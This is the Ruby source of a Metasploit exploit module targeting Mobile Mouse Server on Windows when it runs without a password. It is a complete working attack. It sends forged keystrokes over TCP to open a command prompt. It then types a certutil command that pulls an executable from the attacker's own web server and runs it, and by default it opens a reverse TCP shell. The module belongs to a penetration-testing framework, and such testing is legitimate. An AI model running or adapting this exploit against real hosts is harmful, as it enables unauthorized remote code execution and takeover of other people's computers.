197 lines
6.0 KiB
Ruby
197 lines
6.0 KiB
Ruby
##
|
|
# This module requires Metasploit: https://metasploit.com/download
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
##
|
|
|
|
class MetasploitModule < Msf::Exploit::Remote
|
|
Rank = NormalRanking
|
|
|
|
include Exploit::Remote::Tcp
|
|
include Exploit::EXE # generate_payload_exe
|
|
include Msf::Exploit::Remote::HttpServer::HTML
|
|
include Msf::Exploit::FileDropper
|
|
prepend Msf::Exploit::Remote::AutoCheck
|
|
|
|
def initialize(info = {})
|
|
super(
|
|
update_info(
|
|
info,
|
|
'Name' => 'Mobile Mouse RCE',
|
|
'Description' => %q{
|
|
This module utilizes the Mobile Mouse Server by RPA Technologies, Inc protocol
|
|
to deploy a payload and run it from the server. This module will only deploy
|
|
a payload if the server is set without a password (default).
|
|
Tested against 3.6.0.4, current at the time of module writing
|
|
},
|
|
'License' => MSF_LICENSE,
|
|
'Author' => [
|
|
'h00die', # msf module
|
|
'CHOKRI HAMMEDI' # edb
|
|
],
|
|
'References' => [
|
|
[ 'EDB', '51010' ],
|
|
[ 'URL', 'https://mobilemouse.com/' ],
|
|
],
|
|
'Arch' => [ ARCH_X64, ARCH_X86 ],
|
|
'Platform' => 'win',
|
|
'Stance' => Msf::Exploit::Stance::Aggressive,
|
|
'Targets' => [
|
|
['default', {}],
|
|
],
|
|
'Payload' => {
|
|
'BadChars' => "\x04\x1E"
|
|
},
|
|
'DefaultOptions' => {
|
|
'PAYLOAD' => 'windows/shell/reverse_tcp'
|
|
},
|
|
'DisclosureDate' => '2022-09-20',
|
|
'DefaultTarget' => 0,
|
|
'Notes' => {
|
|
'Stability' => [CRASH_SAFE],
|
|
'Reliability' => [REPEATABLE_SESSION],
|
|
'SideEffects' => [ARTIFACTS_ON_DISK] # typing on screen
|
|
}
|
|
)
|
|
)
|
|
register_options(
|
|
[
|
|
OptPort.new('RPORT', [true, 'Port Mobile Mouse runs on', 9099]),
|
|
OptInt.new('SLEEP', [true, 'How long to sleep between commands', 3]),
|
|
OptString.new('PATH', [true, 'Where to stage payload for pull method', 'c:\\Windows\\Temp\\']),
|
|
OptString.new('CLIENTNAME', [false, 'Name of client, this shows up in the logs', '']),
|
|
]
|
|
)
|
|
end
|
|
|
|
def path
|
|
return datastore['PATH'] if datastore['PATH'].end_with? '\\'
|
|
|
|
"#{datastore['PATH']}\\"
|
|
end
|
|
|
|
def connect_command
|
|
connect_command = 'CONNECT' # 434F4E4E454354
|
|
connect_command << "\x1E\x1E"
|
|
connect_command << @client_name
|
|
connect_command << "\x1E"
|
|
connect_command << 'iPhone' # 6950686F6E65
|
|
connect_command << "\x1E"
|
|
# the next 2,2 may be a version number of some sort
|
|
connect_command << '2' # 32
|
|
connect_command << "\x1E"
|
|
connect_command << '2' # 32
|
|
connect_command << "\x1E\x04"
|
|
sock.put(connect_command)
|
|
sleep(datastore['SLEEP'])
|
|
end
|
|
|
|
def open_command_prompt
|
|
open_command_prompt = 'KEY' # 4b4559
|
|
open_command_prompt << "\x1E"
|
|
open_command_prompt << '114' # 313134 windows key?
|
|
open_command_prompt << "\x1E"
|
|
open_command_prompt << 'r' # 72
|
|
open_command_prompt << "\x1E"
|
|
open_command_prompt << 'OPT' # 4f5054
|
|
open_command_prompt << "\x04"
|
|
sock.put(open_command_prompt)
|
|
sleep(datastore['SLEEP'])
|
|
end
|
|
|
|
def script_content(payload)
|
|
script_content = 'KEY' # 4B4559
|
|
script_content << "\x1E"
|
|
script_content << '100' # 313030
|
|
script_content << "\x1E"
|
|
script_content << payload
|
|
script_content << "\x1E\x04"
|
|
script_content << 'KEY' # 4B4559
|
|
script_content << "\x1E"
|
|
script_content << '-1' # 2d31
|
|
script_content << "\x1E"
|
|
script_content << 'ENTER' # 454e544552
|
|
script_content << "\x1E\x04"
|
|
sock.put(script_content)
|
|
sleep(datastore['SLEEP'])
|
|
end
|
|
|
|
def on_request_uri(cli, _req)
|
|
p = generate_payload_exe
|
|
send_response(cli, p)
|
|
print_good("Payload request received, sending #{p.length} bytes of payload for staging")
|
|
end
|
|
|
|
def check
|
|
if datastore['CLIENTNAME'].blank?
|
|
@client_name = Rex::Text.rand_text_alphanumeric(5..10).to_s
|
|
print_status("Client name set to: #{@client_name}")
|
|
else
|
|
@client_name = datastore['CLIENTNAME']
|
|
end
|
|
|
|
connect
|
|
|
|
print_status('Connecting')
|
|
connect_command
|
|
res = sock.get_once
|
|
if res.nil?
|
|
return CheckCode::Unknown('No response received from target')
|
|
end
|
|
|
|
disconnect
|
|
|
|
res = res.split("\x1E")
|
|
if res[1] == 'NO'
|
|
return CheckCode::Safe("Unable to connect, server response: #{res[4]}")
|
|
end
|
|
|
|
CheckCode::Appears("Connected to hostname #{res[3]} with MAC address #{res[5]}")
|
|
end
|
|
|
|
def exploit
|
|
if datastore['CLIENTNAME'].blank?
|
|
@client_name = Rex::Text.rand_text_alphanumeric(5..10).to_s
|
|
print_status("Client name set to: #{@client_name}")
|
|
else
|
|
@client_name = datastore['CLIENTNAME']
|
|
end
|
|
|
|
connect
|
|
|
|
print_status('Connecting')
|
|
connect_command
|
|
res = sock.get_once
|
|
if res.nil?
|
|
fail_with(Failure::Disconnected, 'No response received from target')
|
|
end
|
|
|
|
res = res.split("\x1E")
|
|
if res[1] == 'NO'
|
|
fail_with(Failure::NoAccess, "Unable to connect, server response: #{res[4]}")
|
|
end
|
|
vprint_good("Connected to hostname #{res[3]} with MAC address #{res[5]}")
|
|
|
|
print_status('Opening Command Prompt')
|
|
open_command_prompt
|
|
# for whatever reason, if we don't read here the server doesn't want to keep playing with us, so read but throw away
|
|
sock.get_once
|
|
|
|
print_status('Sending stager')
|
|
filename = Rex::Text.rand_text_alphanumeric(rand(8..17)) + '.exe'
|
|
register_file_for_cleanup("#{path}#{filename}")
|
|
# I attempted to put this all in one, stage, run, exit, but it was never successful, so we'll keep it in 2
|
|
stager = "certutil.exe -urlcache -f http://#{datastore['lhost']}:#{datastore['SRVPORT']}/ #{path}#{filename}"
|
|
start_service('Path' => '/') # start webserver
|
|
script_content(stager)
|
|
|
|
print_status('Opening Command Prompt again')
|
|
open_command_prompt
|
|
print_status('Executing payload')
|
|
script_content("#{path}#{filename} && exit")
|
|
|
|
handler
|
|
disconnect
|
|
sleep(datastore['SLEEP'] * 2) # give time for it to do its thing before we revert
|
|
end
|
|
end
|